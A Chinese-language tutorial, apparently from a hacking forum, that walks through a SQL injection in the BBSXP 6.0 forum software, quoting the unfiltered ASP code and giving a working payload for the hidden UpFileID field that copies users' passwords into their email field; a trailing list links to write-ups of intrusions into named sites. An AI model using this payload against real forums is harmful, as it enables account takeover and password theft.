|

现在我比较忙,闲的时候呢!看看书,发现bbsxp 6.0漏洞,感觉不错.写篇文章给新手参考!希望能从中学到东西.
首先,这个漏洞是一个注入点.说说漏洞是如何发现的.
漏洞发现:
打开源文件找到EditPost.asp的第67-72行,NewTopice.asp的第129-134行,ReTopic.asp的第78-83行会发现以下代码:
if Request.Form("UpFlieID")<>"" then
UpFileID=split(Request.form("UpFileID"),",")
for i=0 to ubound(UpFileID)-1
Conn.execute("update [BBSXP_PostAttachments]
set ThreadID="& ThreadID&",Description='"&Subject&"' where
id ="&UpFileID(i)& " and ThreadID =0")
next
end if
其实这几行代码很简单,为了新手能看明白,我罗列了一些相关知识点:
split函数的使用:
For Example:
<%
public namearray
qname="Wang;Zhang;Ning"
response.write qname & "<p><br>"
namearray=split(qname,";") \'把qname字符串以分号分开,然后赋给一个数组
max=ubound(namearray)
for counter=0 to max-1
response.write namearray(counter) & "<p><br>"
next
response.write "<hr>"
%>
ubound 函数的使用:
返回一个 Long 型数据,其值为指定的数组维可用的最大下标。
语法
UBound(arrayname[, dimension])
UBound 函数的语法包含下面部分:
部分 描述
arrayname 必需的。数组变量的名称,遵循标准变量命名约定。
dimension 可选的;Variant (Long)。指定返回哪一维的上界。1 表示第一维,2 表示第二维,如此等等。如果省略 dimension,就认为是 1。
示例
该示例使用 UBound 函数,确定数组的指定维的最大可用下标。
Dim Upper
Dim MyArray(1 To 10, 5 To 15, 10 To 20) '声明数组变量。
Dim AnyArray(10)
Upper = UBound(MyArray, 1) '返回 10。
Upper = UBound(MyArray, 3) '返回 20。
Upper = UBound(AnyArray) '返回 10
我们可以看到在这段代码中没有对UpFileID数组内的数据作任何过滤就直接用在查询语句中了。我们以EditPost.asp这个页面为例来说明
。这个页面的功能是编辑帖子的。我们可以随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一个脚本:
<form name ="77169.comform" method ="post" onSubmit = "returnCheckForm(this);">
<input name ="content" type ="hidden" value ='123&It;imgborder=0 src=UpFile/UpAttachment/20063125678.gif>'>
<input name="UpFileID" type="hidden">
其中UpFileID是用来记录这个帖子中已经上传的文件路径的消息,并且用逗号分隔。
漏洞的利用:
从代码上看,已经明白了由于upfileid 没有过滤,所以才有这个漏洞.UPfileID 是可以编辑贴子的时候.我们可以修改这个变量.
从一般的注入漏洞的发现,基本步骤都,
一,发现没过滤的变量.
二,寻找变量的修改方法.
如果有一个变量没有过滤,但是我们不能修改他,这就不能称为注入点.
下面我们来寻找变量的修改方法!
在ASP代码中有一句话 for i =0 to ubound(UpFilID)-1,如果直接在页面中把UpFileID的值修改成一个注入查询语句
<inputname="UpFileID" type="hidden" value="' updateBBSXP_Users set UserMail=UserPass where UserName='77169.com'-->,
这样是不会被执行的,
因为这样的话ubound(UpFleID)-1的值始终为0,而不会被循环。
所以要使数组UpFileID的元素个数大于一才可以,
因此要将这段脚本修改成类似于如下代码:
<input name="UpFileID" type="hidden" value="'update BBSXP_Users set UserMail=UserPass where UserName='77169.com'--,0">,
我们用 , 号来分隔一下.就能满足for 循环.
| 实例讲解跨站入侵攻防战之攻击篇 | 05-08 |
| 对偶偶娱乐分站服务器的安全检测 | 04-23 |
| 入侵88red系统的详细过程 | 04-07 |
| 对趋势科技等数万网站被攻击的分 | 03-21 |
| 凡人网络购物系统 V8.0 简体中文 | 03-18 |
| linux平台下渗透日本著名XXXXXX. | 03-18 |
| 搜索框所引起的XSS漏洞 | 03-05 |
| 跳转漏洞的利用 | 03-05 |
| 对复旦大学的一次漫长渗透 | 03-03 |
| .net一句话马以及dx论坛拿shell | 03-01 |
| php渗透入侵过程图文详解 | 03-01 |
| DJ网站的入侵详细过程 | 02-26 |